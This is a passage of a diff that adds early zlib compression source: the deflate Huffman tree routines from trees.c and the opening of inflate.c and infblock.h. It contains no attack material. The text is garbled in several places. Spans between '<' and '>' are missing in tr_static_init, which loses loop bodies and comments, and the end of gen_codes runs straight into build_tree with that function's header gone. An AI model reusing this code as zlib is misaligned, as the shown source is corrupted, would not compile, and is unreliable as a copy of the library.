OF((deflate_state *s, int lcodes, int dcodes, + int blcodes)); +local void compress_block OF((deflate_state *s, ct_data *ltree, + ct_data *dtree)); +local void set_data_type OF((deflate_state *s)); +local unsigned bi_reverse OF((unsigned value, int length)); +local void bi_windup OF((deflate_state *s)); +local void bi_flush OF((deflate_state *s)); +local void copy_block OF((deflate_state *s, charf *buf, unsigned len, + int header)); + +#ifndef DEBUG_ZLIB +# define send_code(s, c, tree) send_bits(s, tree[(c)].Code, tree[(c)].Len) + /* Send a code of the given tree. c and tree must not have side effects */ + +#else /* DEBUG_ZLIB */ +# define send_code(s, c, tree) \ + { if (verbose>2) fprintf(stderr,"\ncd %3d ",(c)); \ + send_bits(s, tree[c].Code, tree[c].Len); } +#endif + +#define d_code(dist) \ + ((dist) < 256 ? dist_code[dist] : dist_code[256+((dist)>>7)]) +/* Mapping from a distance to a distance code. dist is the distance - 1 and + * must not have side effects. dist_code[256] and dist_code[257] are never + * used. + */ + +/* =========================================================================== + * Output a short LSB first on the stream. + * IN assertion: there is enough room in pendingBuf. + */ +#define put_short(s, w) { \ + put_byte(s, (uch)((w) & 0xff)); \ + put_byte(s, (uch)((ush)(w) >> 8)); \ +} + +/* =========================================================================== + * Send a value on a given number of bits. + * IN assertion: length <= 16 and value fits in length bits. + */ +#ifdef DEBUG_ZLIB +local void send_bits OF((deflate_state *s, int value, int length)); + +local void send_bits(s, value, length) + deflate_state *s; + int value; /* value to send */ + int length; /* number of bits */ +{ + Tracevv((stderr," l %2d v %4x ", length, value)); + Assert(length > 0 && length <= 15, "invalid length"); + s->bits_sent += (ulg)length; + + /* If not enough room in bi_buf, use (valid) bits from bi_buf and + * (16 - bi_valid) bits from value, leaving (width - (16-bi_valid)) + * unused bits in value. + */ + if (s->bi_valid > (int)Buf_size - length) { + s->bi_buf |= (value << s->bi_valid); + put_short(s, s->bi_buf); + s->bi_buf = (ush)value >> (Buf_size - s->bi_valid); + s->bi_valid += length - Buf_size; + } else { + s->bi_buf |= value << s->bi_valid; + s->bi_valid += length; + } +} +#else /* !DEBUG_ZLIB */ + +#define send_bits(s, value, length) \ +{ int len = (length);\ + if ((s)->bi_valid > (int)Buf_size - len) {\ + int val = (value);\ + (s)->bi_buf |= (val << (s)->bi_valid);\ + put_short((s), (s)->bi_buf);\ + (s)->bi_buf = (ush)val >> (Buf_size - (s)->bi_valid);\ + (s)->bi_valid += len - Buf_size;\ + } else {\ + (s)->bi_buf |= (value) << (s)->bi_valid;\ + (s)->bi_valid += len;\ + }\ +} +#endif /* DEBUG_ZLIB */ + +/* the arguments must not have side effects */ + +/* =========================================================================== + * Initialize the various 'constant' tables. In a multi-threaded environment, + * this function may be called by two threads concurrently, but this is + * harmless since both invocations do exactly the same thing. + */ +local void tr_static_init() +{ + static int static_init_done = 0; + int n; /* iterates over tree elements */ + int bits; /* bit counter */ + int length; /* length value */ + int code; /* code value */ + int dist; /* distance index */ + ush bl_count[MAX_BITS+1]; + /* number of codes at each bit length for an optimal tree */ + + if (static_init_done) return; + + /* Initialize the mapping length (0..255) -> length code (0..28) */ + length = 0; + for (code = 0; code < LENGTH_CODES-1; code++) { + base_length[code] = length; + for (n = 0; n < (1< dist code (0..29) */ + dist = 0; + for (code = 0 ; code < 16; code++) { + base_dist[code] = dist; + for (n = 0; n < (1<>= 7; /* from now on, all distances are divided by 128 */ + for ( ; code < D_CODES; code++) { + base_dist[code] = dist << 7; + for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) { + dist_code[256 + dist++] = (uch)code; + } + } + Assert (dist == 256, "tr_static_init: 256+dist != 512"); + + /* Construct the codes of the static literal tree */ + for (bits = 0; bits <= MAX_BITS; bits++) bl_count[bits] = 0; + n = 0; + while (n <= 143) static_ltree[n++].Len = 8, bl_count[8]++; + while (n <= 255) static_ltree[n++].Len = 9, bl_count[9]++; + while (n <= 279) static_ltree[n++].Len = 7, bl_count[7]++; + while (n <= 287) static_ltree[n++].Len = 8, bl_count[8]++; + /* Codes 286 and 287 do not exist, but we must include them in the + * tree construction to get a canonical Huffman tree (longest code + * all ones) + */ + gen_codes((ct_data *)static_ltree, L_CODES+1, bl_count); + + /* The static distance tree is trivial: */ + for (n = 0; n < D_CODES; n++) { + static_dtree[n].Len = 5; + static_dtree[n].Code = bi_reverse((unsigned)n, 5); + } + static_init_done = 1; +} + +/* =========================================================================== + * Initialize the tree data structures for a new zlib stream. + */ +void _tr_init(deflate_state *s) +{ + tr_static_init(); + + s->compressed_len = 0L; + + s->l_desc.dyn_tree = s->dyn_ltree; + s->l_desc.stat_desc = &static_l_desc; + + s->d_desc.dyn_tree = s->dyn_dtree; + s->d_desc.stat_desc = &static_d_desc; + + s->bl_desc.dyn_tree = s->bl_tree; + s->bl_desc.stat_desc = &static_bl_desc; + + s->bi_buf = 0; + s->bi_valid = 0; + s->last_eob_len = 8; /* enough lookahead for inflate */ +#ifdef DEBUG_ZLIB + s->bits_sent = 0L; +#endif + + /* Initialize the first block of the first file: */ + init_block(s); +} + +/* =========================================================================== + * Initialize a new block. + */ +local void init_block(s) + deflate_state *s; +{ + int n; /* iterates over tree elements */ + + /* Initialize the trees. */ + for (n = 0; n < L_CODES; n++) s->dyn_ltree[n].Freq = 0; + for (n = 0; n < D_CODES; n++) s->dyn_dtree[n].Freq = 0; + for (n = 0; n < BL_CODES; n++) s->bl_tree[n].Freq = 0; + + s->dyn_ltree[END_BLOCK].Freq = 1; + s->opt_len = s->static_len = 0L; + s->last_lit = s->matches = 0; +} + +#define SMALLEST 1 +/* Index within the heap array of least frequent node in the Huffman tree */ + + +/* =========================================================================== + * Remove the smallest element from the heap and recreate the heap with + * one less element. Updates heap and heap_len. + */ +#define pqremove(s, tree, top) \ +{\ + top = s->heap[SMALLEST]; \ + s->heap[SMALLEST] = s->heap[s->heap_len--]; \ + pqdownheap(s, tree, SMALLEST); \ +} + +/* =========================================================================== + * Compares to subtrees, using the tree depth as tie breaker when + * the subtrees have equal frequency. This minimizes the worst case length. + */ +#define smaller(tree, n, m, depth) \ + (tree[n].Freq < tree[m].Freq || \ + (tree[n].Freq == tree[m].Freq && depth[n] <= depth[m])) + +/* =========================================================================== + * Restore the heap property by moving down the tree starting at node k, + * exchanging a node with the smallest of its two sons if necessary, stopping + * when the heap property is re-established (each father smaller than its + * two sons). + */ +local void pqdownheap(s, tree, k) + deflate_state *s; + ct_data *tree; /* the tree to restore */ + int k; /* node to move down */ +{ + int v = s->heap[k]; + int j = k << 1; /* left son of k */ + while (j <= s->heap_len) { + /* Set j to the smallest of the two sons: */ + if (j < s->heap_len && + smaller(tree, s->heap[j+1], s->heap[j], s->depth)) { + j++; + } + /* Exit if v is smaller than both sons */ + if (smaller(tree, v, s->heap[j], s->depth)) break; + + /* Exchange v with the smallest son */ + s->heap[k] = s->heap[j]; k = j; + + /* And continue down the tree, setting j to the left son of k */ + j <<= 1; + } + s->heap[k] = v; +} + +/* =========================================================================== + * Compute the optimal bit lengths for a tree and update the total bit length + * for the current block. + * IN assertion: the fields freq and dad are set, heap[heap_max] and + * above are the tree nodes sorted by increasing frequency. + * OUT assertions: the field len is set to the optimal bit length, the + * array bl_count contains the frequencies for each bit length. + * The length opt_len is updated; static_len is also updated if stree is + * not null. + */ +local void gen_bitlen(s, desc) + deflate_state *s; + tree_desc *desc; /* the tree descriptor */ +{ + ct_data *tree = desc->dyn_tree; + int max_code = desc->max_code; + ct_data *stree = desc->stat_desc->static_tree; + intf *extra = desc->stat_desc->extra_bits; + int base = desc->stat_desc->extra_base; + int max_length = desc->stat_desc->max_length; + int h; /* heap index */ + int n, m; /* iterate over the tree elements */ + int bits; /* bit length */ + int xbits; /* extra bits */ + ush f; /* frequency */ + int overflow = 0; /* number of elements with bit length too large */ + + for (bits = 0; bits <= MAX_BITS; bits++) s->bl_count[bits] = 0; + + /* In a first pass, compute the optimal bit lengths (which may + * overflow in the case of the bit length tree). + */ + tree[s->heap[s->heap_max]].Len = 0; /* root of the heap */ + + for (h = s->heap_max+1; h < HEAP_SIZE; h++) { + n = s->heap[h]; + bits = tree[tree[n].Dad].Len + 1; + if (bits > max_length) bits = max_length, overflow++; + tree[n].Len = (ush)bits; + /* We overwrite tree[n].Dad which is no longer needed */ + + if (n > max_code) continue; /* not a leaf node */ + + s->bl_count[bits]++; + xbits = 0; + if (n >= base) xbits = extra[n-base]; + f = tree[n].Freq; + s->opt_len += (ulg)f * (bits + xbits); + if (stree) s->static_len += (ulg)f * (stree[n].Len + xbits); + } + if (overflow == 0) return; + + Trace((stderr,"\nbit length overflow\n")); + /* This happens for example on obj2 and pic of the Calgary corpus */ + + /* Find the first bit length which could increase: */ + do { + bits = max_length-1; + while (s->bl_count[bits] == 0) bits--; + s->bl_count[bits]--; /* move one leaf down the tree */ + s->bl_count[bits+1] += 2; /* move one overflow item as its brother */ + s->bl_count[max_length]--; + /* The brother of the overflow item also moves one step up, + * but this does not affect bl_count[max_length] + */ + overflow -= 2; + } while (overflow > 0); + + /* Now recompute all bit lengths, scanning in increasing frequency. + * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all + * lengths instead of fixing only the wrong ones. This idea is taken + * from 'ar' written by Haruhiko Okumura.) + */ + for (bits = max_length; bits != 0; bits--) { + n = s->bl_count[bits]; + while (n != 0) { + m = s->heap[--h]; + if (m > max_code) continue; + if (tree[m].Len != (unsigned) bits) { + Trace((stderr,"code %d bits %d->%d\n", m, tree[m].Len, bits)); + s->opt_len += ((long)bits - (long)tree[m].Len) + *(long)tree[m].Freq; + tree[m].Len = (ush)bits; + } + n--; + } + } +} + +/* =========================================================================== + * Generate the codes for a given tree and bit counts (which need not be + * optimal). + * IN assertion: the array bl_count contains the bit length statistics for + * the given tree and the field len is set for all tree elements. + * OUT assertion: the field code is set for all tree elements of non + * zero code length. + */ +local void gen_codes (tree, max_code, bl_count) + ct_data *tree; /* the tree to decorate */ + int max_code; /* largest code with non zero frequency */ + ushf *bl_count; /* number of codes at each bit length */ +{ + ush next_code[MAX_BITS+1]; /* next code value for each bit length */ + ush code = 0; /* running code value */ + int bits; /* bit index */ + int n; /* code index */ + + /* The distribution counts are first used to generate the code values + * without bit reversal. + */ + for (bits = 1; bits <= MAX_BITS; bits++) { + next_code[bits] = code = (code + bl_count[bits-1]) << 1; + } + /* Check that the bit counts in bl_count are consistent. The last code + * must be all ones. + */ + Assert (code + bl_count[MAX_BITS]-1 == (1<dyn_tree; + ct_data *stree = desc->stat_desc->static_tree; + int elems = desc->stat_desc->elems; + int n, m; /* iterate over heap elements */ + int max_code = -1; /* largest code with non zero frequency */ + int node; /* new node being created */ + + /* Construct the initial heap, with least frequent element in + * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1]. + * heap[0] is not used. + */ + s->heap_len = 0, s->heap_max = HEAP_SIZE; + + for (n = 0; n < elems; n++) { + if (tree[n].Freq != 0) { + s->heap[++(s->heap_len)] = max_code = n; + s->depth[n] = 0; + } else { + tree[n].Len = 0; + } + } + + /* The pkzip format requires that at least one distance code exists, + * and that at least one bit should be sent even if there is only one + * possible code. So to avoid special checks later on we force at least + * two codes of non zero frequency. + */ + while (s->heap_len < 2) { + node = s->heap[++(s->heap_len)] = (max_code < 2 ? ++max_code : 0); + tree[node].Freq = 1; + s->depth[node] = 0; + s->opt_len--; if (stree) s->static_len -= stree[node].Len; + /* node is 0 or 1 so it does not have extra bits */ + } + desc->max_code = max_code; + + /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree, + * establish sub-heaps of increasing lengths: + */ + for (n = s->heap_len/2; n >= 1; n--) pqdownheap(s, tree, n); + + /* Construct the Huffman tree by repeatedly combining the least two + * frequent nodes. + */ + node = elems; /* next internal node of the tree */ + do { + pqremove(s, tree, n); /* n = node of least frequency */ + m = s->heap[SMALLEST]; /* m = node of next least frequency */ + + s->heap[--(s->heap_max)] = n; /* keep the nodes sorted by frequency */ + s->heap[--(s->heap_max)] = m; + + /* Create a new node father of n and m */ + tree[node].Freq = tree[n].Freq + tree[m].Freq; + s->depth[node] = (uch) (MAX(s->depth[n], s->depth[m]) + 1); + tree[n].Dad = tree[m].Dad = (ush)node; +#ifdef DUMP_BL_TREE + if (tree == s->bl_tree) { + fprintf(stderr,"\nnode %d(%d), sons %d(%d) %d(%d)", + node, tree[node].Freq, n, tree[n].Freq, m, tree[m].Freq); + } +#endif + /* and insert the new node in the heap */ + s->heap[SMALLEST] = node++; + pqdownheap(s, tree, SMALLEST); + + } while (s->heap_len >= 2); + + s->heap[--(s->heap_max)] = s->heap[SMALLEST]; + + /* At this point, the fields freq and dad are set. We can now + * generate the bit lengths. + */ + gen_bitlen(s, (tree_desc *)desc); + + /* The field len is now set, we can generate the bit codes */ + gen_codes ((ct_data *)tree, max_code, s->bl_count); +} + +/* =========================================================================== + * Scan a literal or distance tree to determine the frequencies of the codes + * in the bit length tree. + */ +local void scan_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + if (nextlen == 0) max_count = 138, min_count = 3; + tree[max_code+1].Len = (ush)0xffff; /* guard */ + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + s->bl_tree[curlen].Freq += count; + } else if (curlen != 0) { + if (curlen != prevlen) s->bl_tree[curlen].Freq++; + s->bl_tree[REP_3_6].Freq++; + } else if (count <= 10) { + s->bl_tree[REPZ_3_10].Freq++; + } else { + s->bl_tree[REPZ_11_138].Freq++; + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Send a literal or distance tree in compressed form, using the codes in + * bl_tree. + */ +local void send_tree (s, tree, max_code) + deflate_state *s; + ct_data *tree; /* the tree to be scanned */ + int max_code; /* and its largest code of non zero frequency */ +{ + int n; /* iterates over all tree elements */ + int prevlen = -1; /* last emitted length */ + int curlen; /* length of current code */ + int nextlen = tree[0].Len; /* length of next code */ + int count = 0; /* repeat count of the current code */ + int max_count = 7; /* max repeat count */ + int min_count = 4; /* min repeat count */ + + /* tree[max_code+1].Len = -1; */ /* guard already set */ + if (nextlen == 0) max_count = 138, min_count = 3; + + for (n = 0; n <= max_code; n++) { + curlen = nextlen; nextlen = tree[n+1].Len; + if (++count < max_count && curlen == nextlen) { + continue; + } else if (count < min_count) { + do { send_code(s, curlen, s->bl_tree); } while (--count != 0); + + } else if (curlen != 0) { + if (curlen != prevlen) { + send_code(s, curlen, s->bl_tree); count--; + } + Assert(count >= 3 && count <= 6, " 3_6?"); + send_code(s, REP_3_6, s->bl_tree); send_bits(s, count-3, 2); + + } else if (count <= 10) { + send_code(s, REPZ_3_10, s->bl_tree); send_bits(s, count-3, 3); + + } else { + send_code(s, REPZ_11_138, s->bl_tree); send_bits(s, count-11, 7); + } + count = 0; prevlen = curlen; + if (nextlen == 0) { + max_count = 138, min_count = 3; + } else if (curlen == nextlen) { + max_count = 6, min_count = 3; + } else { + max_count = 7, min_count = 4; + } + } +} + +/* =========================================================================== + * Construct the Huffman tree for the bit lengths and return the index in + * bl_order of the last bit length code to send. + */ +local int build_bl_tree(s) + deflate_state *s; +{ + int max_blindex; /* index of last bit length code of non zero freq */ + + /* Determine the bit length frequencies for literal and distance trees */ + scan_tree(s, (ct_data *)s->dyn_ltree, s->l_desc.max_code); + scan_tree(s, (ct_data *)s->dyn_dtree, s->d_desc.max_code); + + /* Build the bit length tree: */ + build_tree(s, (tree_desc *)(&(s->bl_desc))); + /* opt_len now includes the length of the tree representations, except + * the lengths of the bit lengths codes and the 5+5+4 bits for the counts. + */ + + /* Determine the number of bit length codes to send. The pkzip format + * requires that at least 4 bit length codes be sent. (appnote.txt says + * 3 but the actual value used is 4.) + */ + for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) { + if (s->bl_tree[bl_order[max_blindex]].Len != 0) break; + } + /* Update opt_len to include the bit length tree and counts */ + s->opt_len += 3*(max_blindex+1) + 5+5+4; + Tracev((stderr, "\ndyn trees: dyn %ld, stat %ld", + s->opt_len, s->static_len)); + + return max_blindex; +} + +/* =========================================================================== + * Send the header for a block using dynamic Huffman trees: the counts, the + * lengths of the bit length codes, the literal tree and the distance tree. + * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4. + */ +local void send_all_trees(s, lcodes, dcodes, blcodes) + deflate_state *s; + int lcodes, dcodes, blcodes; /* number of codes for each tree */ +{ + int rank; /* index in bl_order */ + + Assert (lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes"); + Assert (lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES, + "too many codes"); + Tracev((stderr, "\nbl counts: ")); + send_bits(s, lcodes-257, 5); /* not +255 as stated in appnote.txt */ + send_bits(s, dcodes-1, 5); + send_bits(s, blcodes-4, 4); /* not -3 as stated in appnote.txt */ + for (rank = 0; rank < blcodes; rank++) { + Tracev((stderr, "\nbl code %2d ", bl_order[rank])); + send_bits(s, s->bl_tree[bl_order[rank]].Len, 3); + } + Tracev((stderr, "\nbl tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_ltree, lcodes-1); /* literal tree */ + Tracev((stderr, "\nlit tree: sent %ld", s->bits_sent)); + + send_tree(s, (ct_data *)s->dyn_dtree, dcodes-1); /* distance tree */ + Tracev((stderr, "\ndist tree: sent %ld", s->bits_sent)); +} + +/* =========================================================================== + * Send a stored block + */ +void _tr_stored_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + send_bits(s, (STORED_BLOCK<<1)+eof, 3); /* send block type */ + s->compressed_len = (s->compressed_len + 3 + 7) & (ulg)~7L; + s->compressed_len += (stored_len + 4) << 3; + + copy_block(s, buf, (unsigned)stored_len, 1); /* with header */ +} + +/* Send just the `stored block' type code without any length bytes or data. + */ +void _tr_stored_type_only(s) + deflate_state *s; +{ + send_bits(s, (STORED_BLOCK << 1), 3); + bi_windup(s); + s->compressed_len = (s->compressed_len + 3) & ~7L; +} + + +/* =========================================================================== + * Send one empty static block to give enough lookahead for inflate. + * This takes 10 bits, of which 7 may remain in the bit buffer. + * The current inflate code requires 9 bits of lookahead. If the + * last two codes for the previous block (real code plus EOB) were coded + * on 5 bits or less, inflate may have only 5+3 bits of lookahead to decode + * the last real code. In this case we send two empty static blocks instead + * of one. (There are no problems if the previous block is stored or fixed.) + * To simplify the code, we assume the worst case of last real code encoded + * on one bit only. + */ +void _tr_align(s) + deflate_state *s; +{ + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); + s->compressed_len += 10L; /* 3 for block type, 7 for EOB */ + bi_flush(s); + /* Of the 10 bits for the empty block, we have already sent + * (10 - bi_valid) bits. The lookahead for the last real code (before + * the EOB of the previous block) was thus at least one plus the length + * of the EOB plus what we have just sent of the empty static block. + */ + if (1 + s->last_eob_len + 10 - s->bi_valid < 9) { + send_bits(s, STATIC_TREES<<1, 3); + send_code(s, END_BLOCK, static_ltree); + s->compressed_len += 10L; + bi_flush(s); + } + s->last_eob_len = 7; +} + +/* =========================================================================== + * Determine the best encoding for the current block: dynamic trees, static + * trees or store, and output the encoded block to the zip file. This function + * returns the total compressed length for the file so far. + */ +ulg _tr_flush_block(s, buf, stored_len, eof) + deflate_state *s; + charf *buf; /* input block, or NULL if too old */ + ulg stored_len; /* length of input block */ + int eof; /* true if this is the last block for a file */ +{ + ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */ + int max_blindex = 0; /* index of last bit length code of non zero freq */ + + /* Build the Huffman trees unless a stored block is forced */ + if (s->level > 0) { + + /* Check if the file is ascii or binary */ + if (s->data_type == Z_UNKNOWN) set_data_type(s); + + /* Construct the literal and distance trees */ + build_tree(s, (tree_desc *)(&(s->l_desc))); + Tracev((stderr, "\nlit data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + + build_tree(s, (tree_desc *)(&(s->d_desc))); + Tracev((stderr, "\ndist data: dyn %ld, stat %ld", s->opt_len, + s->static_len)); + /* At this point, opt_len and static_len are the total bit lengths of + * the compressed block data, excluding the tree representations. + */ + + /* Build the bit length tree for the above two trees, and get the index + * in bl_order of the last bit length code to send. + */ + max_blindex = build_bl_tree(s); + + /* Determine the best encoding. Compute first the block length in bytes*/ + opt_lenb = (s->opt_len+3+7)>>3; + static_lenb = (s->static_len+3+7)>>3; + + Tracev((stderr, "\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u ", + opt_lenb, s->opt_len, static_lenb, s->static_len, stored_len, + s->last_lit)); + + if (static_lenb <= opt_lenb) opt_lenb = static_lenb; + + } else { + Assert(buf != (char*)0, "lost buf"); + opt_lenb = static_lenb = stored_len + 5; /* force a stored block */ + } + + /* If compression failed and this is the first and last block, + * and if the .zip file can be seeked (to rewrite the local header), + * the whole file is transformed into a stored file: + */ +#ifdef STORED_FILE_OK +# ifdef FORCE_STORED_FILE + if (eof && s->compressed_len == 0L) { /* force stored file */ +# else + if (stored_len <= opt_lenb && eof && s->compressed_len==0L && seekable()) { +# endif + /* Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there: */ + if (buf == (charf*)0) error ("block vanished"); + + copy_block(s, buf, (unsigned)stored_len, 0); /* without header */ + s->compressed_len = stored_len << 3; + s->method = STORED; + } else +#endif /* STORED_FILE_OK */ + +#ifdef FORCE_STORED + if (buf != (char*)0) { /* force stored block */ +#else + if (stored_len+4 <= opt_lenb && buf != (char*)0) { + /* 4: two words for the lengths */ +#endif + /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE. + * Otherwise we can't have processed more than WSIZE input bytes since + * the last block flush, because compression would have been + * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to + * transform a block into a stored block. + */ + _tr_stored_block(s, buf, stored_len, eof); + +#ifdef FORCE_STATIC + } else if (static_lenb >= 0) { /* force static trees */ +#else + } else if (static_lenb == opt_lenb) { +#endif + send_bits(s, (STATIC_TREES<<1)+eof, 3); + compress_block(s, (ct_data *)static_ltree, (ct_data *)static_dtree); + s->compressed_len += 3 + s->static_len; + } else { + send_bits(s, (DYN_TREES<<1)+eof, 3); + send_all_trees(s, s->l_desc.max_code+1, s->d_desc.max_code+1, + max_blindex+1); + compress_block(s, (ct_data *)s->dyn_ltree, (ct_data *)s->dyn_dtree); + s->compressed_len += 3 + s->opt_len; + } + Assert (s->compressed_len == s->bits_sent, "bad compressed size"); + init_block(s); + + if (eof) { + bi_windup(s); + s->compressed_len += 7; /* align on byte boundary */ + } + Tracev((stderr,"\ncomprlen %lu(%lu) ", s->compressed_len>>3, + s->compressed_len-7*eof)); + + return s->compressed_len >> 3; +} + +/* =========================================================================== + * Save the match info and tally the frequency counts. Return true if + * the current block must be flushed. + */ +int _tr_tally (s, dist, lc) + deflate_state *s; + unsigned dist; /* distance of matched string */ + unsigned lc; /* match length-MIN_MATCH or unmatched char (if dist==0) */ +{ + s->d_buf[s->last_lit] = (ush)dist; + s->l_buf[s->last_lit++] = (uch)lc; + if (dist == 0) { + /* lc is the unmatched char */ + s->dyn_ltree[lc].Freq++; + } else { + s->matches++; + /* Here, lc is the match length - MIN_MATCH */ + dist--; /* dist = match distance - 1 */ + Assert((ush)dist < (ush)MAX_DIST(s) && + (ush)lc <= (ush)(MAX_MATCH-MIN_MATCH) && + (ush)d_code(dist) < (ush)D_CODES, "_tr_tally: bad match"); + + s->dyn_ltree[length_code[lc]+LITERALS+1].Freq++; + s->dyn_dtree[d_code(dist)].Freq++; + } + + /* Try to guess if it is profitable to stop the current block here */ + if (s->level > 2 && (s->last_lit & 0xfff) == 0) { + /* Compute an upper bound for the compressed length */ + ulg out_length = (ulg)s->last_lit*8L; + ulg in_length = (ulg)((long)s->strstart - s->block_start); + int dcode; + for (dcode = 0; dcode < D_CODES; dcode++) { + out_length += (ulg)s->dyn_dtree[dcode].Freq * + (5L+extra_dbits[dcode]); + } + out_length >>= 3; + Tracev((stderr,"\nlast_lit %u, in %ld, out ~%ld(%ld%%) ", + s->last_lit, in_length, out_length, + 100L - out_length*100L/in_length)); + if (s->matches < s->last_lit/2 && out_length < in_length/2) return 1; + } + return (s->last_lit == s->lit_bufsize-1); + /* We avoid equality with lit_bufsize because of wraparound at 64K + * on 16 bit machines and because stored blocks are restricted to + * 64K-1 bytes. + */ +} + +/* =========================================================================== + * Send the block data compressed using the given Huffman trees + */ +local void compress_block(s, ltree, dtree) + deflate_state *s; + ct_data *ltree; /* literal tree */ + ct_data *dtree; /* distance tree */ +{ + unsigned dist; /* distance of matched string */ + int lc; /* match length or unmatched char (if dist == 0) */ + unsigned lx = 0; /* running index in l_buf */ + unsigned code; /* the code to send */ + int extra; /* number of extra bits to send */ + + if (s->last_lit != 0) do { + dist = s->d_buf[lx]; + lc = s->l_buf[lx++]; + if (dist == 0) { + send_code(s, lc, ltree); /* send a literal byte */ + Tracecv(isgraph(lc), (stderr," '%c' ", lc)); + } else { + /* Here, lc is the match length - MIN_MATCH */ + code = length_code[lc]; + send_code(s, code+LITERALS+1, ltree); /* send the length code */ + extra = extra_lbits[code]; + if (extra != 0) { + lc -= base_length[code]; + send_bits(s, lc, extra); /* send the extra length bits */ + } + dist--; /* dist is now the match distance - 1 */ + code = d_code(dist); + Assert (code < D_CODES, "bad d_code"); + + send_code(s, code, dtree); /* send the distance code */ + extra = extra_dbits[code]; + if (extra != 0) { + dist -= base_dist[code]; + send_bits(s, dist, extra); /* send the extra distance bits */ + } + } /* literal or match pair ? */ + + /* Check that the overlay between pending_buf and d_buf+l_buf is ok: */ + Assert(s->pending < s->lit_bufsize + 2*lx, "pendingBuf overflow"); + + } while (lx < s->last_lit); + + send_code(s, END_BLOCK, ltree); + s->last_eob_len = ltree[END_BLOCK].Len; +} + +/* =========================================================================== + * Set the data type to ASCII or BINARY, using a crude approximation: + * binary if more than 20% of the bytes are <= 6 or >= 128, ascii otherwise. + * IN assertion: the fields freq of dyn_ltree are set and the total of all + * frequencies does not exceed 64K (to fit in an int on 16 bit machines). + */ +local void set_data_type(s) + deflate_state *s; +{ + int n = 0; + unsigned ascii_freq = 0; + unsigned bin_freq = 0; + while (n < 7) bin_freq += s->dyn_ltree[n++].Freq; + while (n < 128) ascii_freq += s->dyn_ltree[n++].Freq; + while (n < LITERALS) bin_freq += s->dyn_ltree[n++].Freq; + s->data_type = (Byte)(bin_freq > (ascii_freq >> 2) ? Z_BINARY : Z_ASCII); +} + +/* =========================================================================== + * Reverse the first len bits of a code, using straightforward code (a faster + * method would use a table) + * IN assertion: 1 <= len <= 15 + */ +local unsigned bi_reverse(code, len) + unsigned code; /* the value to invert */ + int len; /* its bit length */ +{ + register unsigned res = 0; + do { + res |= code & 1; + code >>= 1, res <<= 1; + } while (--len > 0); + return res >> 1; +} + +/* =========================================================================== + * Flush the bit buffer, keeping at most 7 bits in it. + */ +local void bi_flush(s) + deflate_state *s; +{ + if (s->bi_valid == 16) { + put_short(s, s->bi_buf); + s->bi_buf = 0; + s->bi_valid = 0; + } else if (s->bi_valid >= 8) { + put_byte(s, (Byte)s->bi_buf); + s->bi_buf >>= 8; + s->bi_valid -= 8; + } +} + +/* =========================================================================== + * Flush the bit buffer and align the output on a byte boundary + */ +local void bi_windup(s) + deflate_state *s; +{ + if (s->bi_valid > 8) { + put_short(s, s->bi_buf); + } else if (s->bi_valid > 0) { + put_byte(s, (Byte)s->bi_buf); + } + s->bi_buf = 0; + s->bi_valid = 0; +#ifdef DEBUG_ZLIB + s->bits_sent = (s->bits_sent+7) & ~7; +#endif +} + +/* =========================================================================== + * Copy a stored block, storing first the length and its + * one's complement if requested. + */ +local void copy_block(s, buf, len, header) + deflate_state *s; + charf *buf; /* the input data */ + unsigned len; /* its length */ + int header; /* true if block header must be written */ +{ + bi_windup(s); /* align on byte boundary */ + s->last_eob_len = 8; /* enough lookahead for inflate */ + + if (header) { + put_short(s, (ush)len); + put_short(s, (ush)~len); +#ifdef DEBUG_ZLIB + s->bits_sent += 2*16; +#endif + } +#ifdef DEBUG_ZLIB + s->bits_sent += (ulg)len<<3; +#endif + /* bundle up the put_byte(s, *buf++) calls */ + zmemcpy(&s->pending_buf[s->pending], buf, len); + s->pending += len; +} +/* --- trees.c */ + +/* +++ inflate.c */ +/* inflate.c -- zlib interface to inflate modules + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* #include "zutil.h" */ + +/* +++ infblock.h */ +/* infblock.h -- header to use infblock.c + * Copyright (C) 1995-1996 Mark Adler + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +struct inflate_blocks_state; +typedef struct inflate_blocks_state FAR inflate_blocks_statef; + +extern inflate_blocks_statef * inflate_blocks_new OF(( + z_streamp z, + check_func c, /* check function */ + uInt w)); /* window size */ + +extern int inflate_blocks OF(( + inflate_blocks_statef *, + z_streamp , + int)); /* initial return code */ + +extern void inflate_blocks_reset OF(( + inflate_blocks_statef *, + z_streamp , + uLongf *)); /* check value on output */ + +extern int inflate_blocks_free OF(( + inflate_blocks_statef *, + z_streamp , + uLongf *)); /* check value on output */ + +extern void inflate_set_dictionary OF(( + 